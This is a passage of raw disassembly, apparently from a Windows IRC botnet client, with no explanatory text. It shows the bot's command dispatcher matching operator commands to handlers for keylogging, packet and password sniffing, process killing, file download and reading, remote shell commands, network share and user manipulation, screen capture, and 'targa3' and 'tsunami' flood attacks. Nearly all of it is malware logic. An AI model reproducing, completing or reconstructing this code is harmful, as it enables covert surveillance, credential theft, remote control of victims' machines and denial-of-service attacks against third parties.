		cmp	eax, ebx
		jbe	short loc_4057A9
		push	eax
		call	dword_4CB6EC	; closesocket


loc_4057A9:				; CODE XREF: sub_401ACD+3CCDj
					; sub_401ACD+3CD3j
		add	edi, 210h
		cmp	edi, offset byte_4DAE0C
		jl	short loc_405796
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C4
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_42BA48 ; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4062C4
; ---------------------------------------------------------------------------


loc_4057DF:				; CODE XREF: sub_401ACD+3196j
		mov	edi, [ebp+arg_8]
		push	edi		; Str2
		push	offset aNick_0	; "nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi		; Str2
		push	offset aN	; "n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409759
		push	edi		; Str2
		push	offset aJoin	; "join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi		; Str2
		push	offset aJ	; "j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409732
		push	edi		; Str2
		push	offset aPart_0	; "part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi		; Str2
		push	offset aPt	; "pt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409712
		push	edi		; Str2
		push	offset aRaw	; "raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi		; Str2
		push	offset aR	; "r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D6
		push	edi		; Str2
		push	offset aKillthread ; "killthread"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi		; Str2
		push	offset aK	; "k"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D6
		push	edi		; Str2
		push	offset aC_quit	; "c_quit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi		; Str2
		push	offset aC_q	; "c_q"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409528
		push	edi		; Str2
		push	offset aC_rndnick ; "c_rndnick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi		; Str2
		push	offset aC_rn	; "c_rn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D6
		push	edi		; Str2
		push	offset aPrefix	; "prefix"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi		; Str2
		push	offset aPr	; "pr"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BD
		push	edi		; Str2
		push	offset aOpen	; "open"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi		; Str2
		push	offset aO	; "o"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948F
		push	edi		; Str2
		push	offset aServer_1 ; "server"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi		; Str2
		push	offset aSe	; "se"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409472
		push	edi		; Str2
		push	offset aDns	; "dns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi		; Str2
		push	offset aDn	; "dn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409407
		push	edi		; Str2
		push	offset aKillproc ; "killproc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi		; Str2
		push	offset aKp	; "kp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D7
		push	edi		; Str2
		push	offset aKill	; "kill"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi		; Str2
		push	offset aKi	; "ki"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409378
		push	edi		; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi		; Str2
		push	offset aDel	; "del"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933C
		push	edi		; Str2
		push	offset aGet_0	; "get"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi		; Str2
		push	offset aGt	; "gt"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925D
		push	edi		; Str2
		push	offset aList	; "list"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi		; Str2
		push	offset aLi	; "li"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923B
		push	edi		; Str2
		push	offset aVisit	; "visit"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi		; Str2
		push	offset aV	; "v"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409147
		push	edi		; Str2
		push	offset aMirccmd	; "mirccmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi		; Str2
		push	offset aMirc	; "mirc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409110
		push	edi		; Str2
		push	offset aCmd	; "cmd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi		; Str2
		push	offset aCm	; "cm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A6
		push	edi		; Str2
		push	offset aReadfile ; "readfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi		; Str2
		push	offset aRf	; "rf"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409029
		push	edi		; Str2
		push	offset aPsniff	; "psniff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7C
		push	[ebp+Source]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C42
		push	20h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405B6C
		push	offset dword_42B94C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405B6C:				; CODE XREF: sub_401ACD+4093j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAE
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43D808 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAE
		mov	esi, [ebp+Format]


loc_405BAE:				; CODE XREF: sub_401ACD+40C3j
					; sub_401ACD+40D9j
		push	esi		; Format
		lea	eax, [ebp+var_EC0]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_42B91C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	20h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset sub_411FD6
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405C31


loc_405C1B:				; CODE XREF: sub_401ACD+4162j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_405C1B
; ---------------------------------------------------------------------------


loc_405C31:				; CODE XREF: sub_401ACD+414Cj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B8E0
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C42:				; CODE XREF: sub_401ACD+4083j
		push	[ebp+Source]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	20h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C72
		push	eax
		push	offset dword_42B8A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405C72:				; CODE XREF: sub_401ACD+4198j
		push	offset dword_42B878
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405C7C:				; CODE XREF: sub_401ACD+406Cj
		push	edi		; Str2
		push	offset aSniffer	; "sniffer"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCE
		push	[ebp+Source]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D94
		push	21h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405CBE
		push	offset unk_42B850
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405CBE:				; CODE XREF: sub_401ACD+41E5j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+Format]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405D00
		mov	esi, offset aF_1 ; "#f"
		push	offset byte_43D808 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D00
		mov	esi, [ebp+Format]


loc_405D00:				; CODE XREF: sub_401ACD+4215j
					; sub_401ACD+422Bj
		push	esi		; Format
		lea	eax, [ebp+var_FE8]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_42B820 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	21h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_F68], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FEC]
		push	ebx
		push	eax
		push	offset sub_412661
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_F68]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_405D83


loc_405D6D:				; CODE XREF: sub_401ACD+42B4j
		cmp	[ebp+var_F5C], ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_405D6D
; ---------------------------------------------------------------------------


loc_405D83:				; CODE XREF: sub_401ACD+429Ej
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B7E4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: sub_401ACD+41D5j
		push	[ebp+Source]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	21h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DC4
		push	eax
		push	offset unk_42B7A4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405DC4:				; CODE XREF: sub_401ACD+42EAj
		push	offset unk_42B774
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405DCE:				; CODE XREF: sub_401ACD+41BEj
		push	edi		; Str2
		push	offset aIdent	; "ident"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405EA3
		push	[ebp+Source]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E69
		push	2
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405E0C
		push	offset dword_42B74C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405E0C:				; CODE XREF: sub_401ACD+4333j
		lea	eax, [ebp+Dst]
		push	offset asc_42B720 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	2		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4101FD
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[esi], eax
		jnz	loc_40828C
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B6EC
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E69:				; CODE XREF: sub_401ACD+4327j
		push	[ebp+Source]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	2
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E99
		push	eax
		push	offset dword_42B6B4
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405E99:				; CODE XREF: sub_401ACD+43BFj
		push	offset dword_42B694
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405EA3:				; CODE XREF: sub_401ACD+4310j
		push	edi		; Str2
		push	offset aKeylog	; "keylog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406020
		push	[ebp+Source]	; Str2
		push	offset aOn	; "on"
		call	_strcmp
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+Source]	; Str2
		push	edi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405F19
		push	[ebp+Source]	; Str2
		push	offset Str2	; "off"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828C
		push	ebx
		push	23h
		call	sub_40B2F2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405F0F
		push	eax
		push	offset dword_42B648
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_405F0F:				; CODE XREF: sub_401ACD+4435j
		push	offset dword_42B61C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F19:				; CODE XREF: sub_401ACD+4401j
					; sub_401ACD+4410j
		push	23h
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_405F2F
		push	offset dword_42B5FC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_405F2F:				; CODE XREF: sub_401ACD+4456j
		mov	eax, [ebp+arg_4]
		push	[ebp+Source]	; Str2
		mov	[ebp+var_C5C], eax
		mov	eax, [ebp+var_4]
		push	edi		; Str1
		mov	[ebp+var_BD4], eax
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F5C
		mov	[ebp+var_BD0], 1
		jmp	short loc_405F65
; ---------------------------------------------------------------------------


loc_405F5C:				; CODE XREF: sub_401ACD+4481j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_BD0], eax


loc_405F65:				; CODE XREF: sub_401ACD+448Dj
		mov	esi, [ebp+esi+Format]
		cmp	esi, ebx
		jnz	short loc_405F8C
		mov	esi, offset aF_0 ; "#f"
		push	offset byte_43D808 ; Str2
		push	esi		; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405F8C
		mov	esi, [ebp+Format]


loc_405F8C:				; CODE XREF: sub_401ACD+44A1j
					; sub_401ACD+44B7j
		push	esi		; Format
		lea	eax, [ebp+var_C54]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dst]
		push	offset asc_42B5D8 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	23h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 14h
		mov	[ebp+var_C58], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C5C]
		push	ebx
		push	eax
		push	offset sub_411CF5
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_C58]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40600F


loc_405FF9:				; CODE XREF: sub_401ACD+4540j
		cmp	[ebp+var_BCC], ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_405FF9
; ---------------------------------------------------------------------------


loc_40600F:				; CODE XREF: sub_401ACD+452Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B59C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406020:				; CODE XREF: sub_401ACD+43E5j
		push	edi		; Str2
		push	offset aNet	; "net"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406270
		cmp	dword_4CB724, ebx
		jz	short loc_40604F
		cmp	dword_4CB74C, ebx
		jz	short loc_40604F
		push	offset unk_42B560
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40604F:				; CODE XREF: sub_401ACD+456Ej
					; sub_401ACD+4576j
		cmp	[ebp+var_C], ebx
		jz	loc_406CDF
		mov	edi, [ebp+esi+Format]
		mov	[ebp+Src], ebx
		cmp	edi, ebx
		jz	short loc_406074
		push	edi		; SubStr
		push	[ebp+var_C]	; Str
		call	_strstr
		pop	ecx
		mov	[ebp+Src], eax
		pop	ecx


loc_406074:				; CODE XREF: sub_401ACD+4597j
		push	[ebp+Source]	; Str2
		push	offset aStart	; "start"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060C1
		cmp	edi, ebx
		jz	short loc_406095
		push	[ebp+Src]
		push	3
		jmp	loc_406127
; ---------------------------------------------------------------------------


loc_406095:				; CODE XREF: sub_401ACD+45BCj
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_41895C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4060B7
		push	offset unk_42B534
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060B7:				; CODE XREF: sub_401ACD+45DEj
		push	offset unk_42B514
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_4060C1:				; CODE XREF: sub_401ACD+45B8j
		push	[ebp+Source]	; Str2
		push	offset aStop	; "stop"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060DB
		push	[ebp+Src]
		push	4
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060DB:				; CODE XREF: sub_401ACD+4605j
		push	[ebp+Source]	; Str2
		push	offset aPause	; "pause"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060F5
		push	[ebp+Src]
		push	5
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_4060F5:				; CODE XREF: sub_401ACD+461Fj
		push	[ebp+Source]	; Str2
		push	offset aContinue ; "continue"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40610F
		push	[ebp+Src]
		push	6
		jmp	short loc_406127
; ---------------------------------------------------------------------------


loc_40610F:				; CODE XREF: sub_401ACD+4639j
		push	[ebp+Source]	; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406139
		push	[ebp+Src]
		push	1


loc_406127:				; CODE XREF: sub_401ACD+45C3j
					; sub_401ACD+460Cj ...
		call	sub_4186C2
		pop	ecx
		pop	ecx


loc_40612E:				; CODE XREF: sub_401ACD+46A2j
					; sub_401ACD+472Aj ...
		push	eax
		push	offset aS_6	; "%s"
		jmp	loc_406CD0
; ---------------------------------------------------------------------------


loc_406139:				; CODE XREF: sub_401ACD+4653j
		push	[ebp+Source]	; Str2
		push	offset aShare	; "share"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40619E
		cmp	edi, ebx
		jz	short loc_406171
		cmp	[ebp+var_8FC], bl
		jz	short loc_40615E
		push	ebx
		push	edi
		push	1
		jmp	short loc_406167
; ---------------------------------------------------------------------------


loc_40615E:				; CODE XREF: sub_401ACD+4689j
		push	[ebp+esi+Str2]	; int
		push	edi		; Str
		push	ebx		; int


loc_406167:				; CODE XREF: sub_401ACD+468Fj
		call	sub_418A99
		add	esp, 0Ch
		jmp	short loc_40612E
; ---------------------------------------------------------------------------


loc_406171:				; CODE XREF: sub_401ACD+4681j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_418C8F
		add	esp, 10h
		test	eax, eax
		jz	short loc_406194
		push	offset unk_42B4CC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406194:				; CODE XREF: sub_401ACD+46BBj
		push	offset unk_42B4AC
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40619E:				; CODE XREF: sub_401ACD+467Dj
		push	[ebp+Source]	; Str2
		push	offset aUser_0	; "user"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406229
		cmp	edi, ebx
		jz	short loc_4061FC
		cmp	[ebp+var_8FC], bl
		jz	short loc_4061CF
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		push	ebx
		push	edi
		push	1
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061CF:				; CODE XREF: sub_401ACD+46EEj
		push	[ebp+var_4]	; int
		mov	esi, [ebp+esi+Str2]
		cmp	esi, ebx
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		jz	short loc_4061EB
		push	esi
		push	edi
		push	ebx
		jmp	short loc_4061EF
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_401ACD+4717j
		push	ebx		; int
		push	edi		; int
		push	2		; int


loc_4061EF:				; CODE XREF: sub_401ACD+4700j
					; sub_401ACD+471Cj
		call	sub_418DB0
		add	esp, 18h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_4061FC:				; CODE XREF: sub_401ACD+46E6j
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_4192E0
		add	esp, 10h
		test	eax, eax
		jz	short loc_40621F
		push	offset unk_42B48C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_40621F:				; CODE XREF: sub_401ACD+4746j
		push	offset unk_42B46C
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406229:				; CODE XREF: sub_401ACD+46E2j
		push	[ebp+Source]	; Str2
		push	offset aSend_0	; "send"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406266
		cmp	edi, ebx
		jz	short loc_40625C
		push	[ebp+var_4]
		push	[ebp+Format]
		push	[ebp+arg_4]
		push	[ebp+Src]	; Source
		call	sub_419594
		add	esp, 10h
		jmp	loc_40612E
; ---------------------------------------------------------------------------


loc_40625C:				; CODE XREF: sub_401ACD+4771j
		push	offset unk_42B440
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406266:				; CODE XREF: sub_401ACD+476Dj
		push	offset unk_42B424
		jmp	loc_4085D6
; ---------------------------------------------------------------------------


loc_406270:				; CODE XREF: sub_401ACD+4562j
		push	edi		; Str2
		push	offset aCapture	; "capture"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi		; Str2
		push	offset aCap	; "cap"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408DFE
		push	edi		; Str2
		push	offset aGethost	; "gethost"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A
		push	edi		; Str2
		push	offset aGh	; "gh"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D0A


loc_4062C4:				; CODE XREF: sub_401ACD+3CBEj
					; sub_401ACD+3CEDj ...
		mov	edi, [ebp+esi+Format]
		cmp	edi, ebx
		mov	[ebp+arg_1C], edi
		jz	loc_401E94
		push	[ebp+arg_8]	; Str2
		push	offset aKilllog	; "killlog"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]	; Str2
		push	offset aKl	; "kl"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CF0
		push	[ebp+arg_8]	; Str2
		push	offset aAddalias ; "addalias"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]	; Str2
		push	offset aAa	; "aa"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408CAD
		push	[ebp+arg_8]	; Str2
		push	offset aPrivmsg_0 ; "privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]	; Str2
		push	offset aPm	; "pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C58
		push	[ebp+arg_8]	; Str2
		push	offset aAction	; "action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]	; Str2
		push	offset aA	; "a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BEB
		push	[ebp+arg_8]	; Str2
		push	offset aCycle	; "cycle"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]	; Str2
		push	offset aCy	; "cy"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B87
		push	[ebp+arg_8]	; Str2
		push	offset aMode	; "mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]	; Str2
		push	offset aM_0	; "m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B4B
		push	[ebp+arg_8]	; Str2
		push	offset aC_raw	; "c_raw"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]	; Str2
		push	offset aC_r	; "c_r"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408ADC
		push	[ebp+arg_8]	; Str2
		push	offset aC_mode	; "c_mode"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]	; Str2
		push	offset aC_m	; "c_m"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A56
		push	[ebp+arg_8]	; Str2
		push	offset aC_nick	; "c_nick"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]	; Str2
		push	offset aC_n	; "c_n"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089E6
		push	[ebp+arg_8]	; Str2
		push	offset aC_join	; "c_join"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]	; Str2
		push	offset aC_j	; "c_j"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4089C0
		push	[ebp+arg_8]	; Str2
		push	offset aC_part	; "c_part"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]	; Str2
		push	offset aC_p	; "c_p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40895C
		push	[ebp+arg_8]	; Str2
		push	offset aTarga3	; "targa3"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]	; Str2
		push	offset aT3	; "t3"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408887
		push	[ebp+arg_8]	; Str2
		push	offset aTsunami	; "tsunami"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]	; Str2
		push	offset aTsn	; "tsn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40878C
		push	[ebp+arg_8]	; Str2
		push	offset aRepeat	; "repeat"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]	; Str2
		push	offset aRp	; "rp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408688
		push	[ebp+arg_8]	; Str2
		push	offset aDelay	; "delay"
		call	_strcmp
		pop	ecx
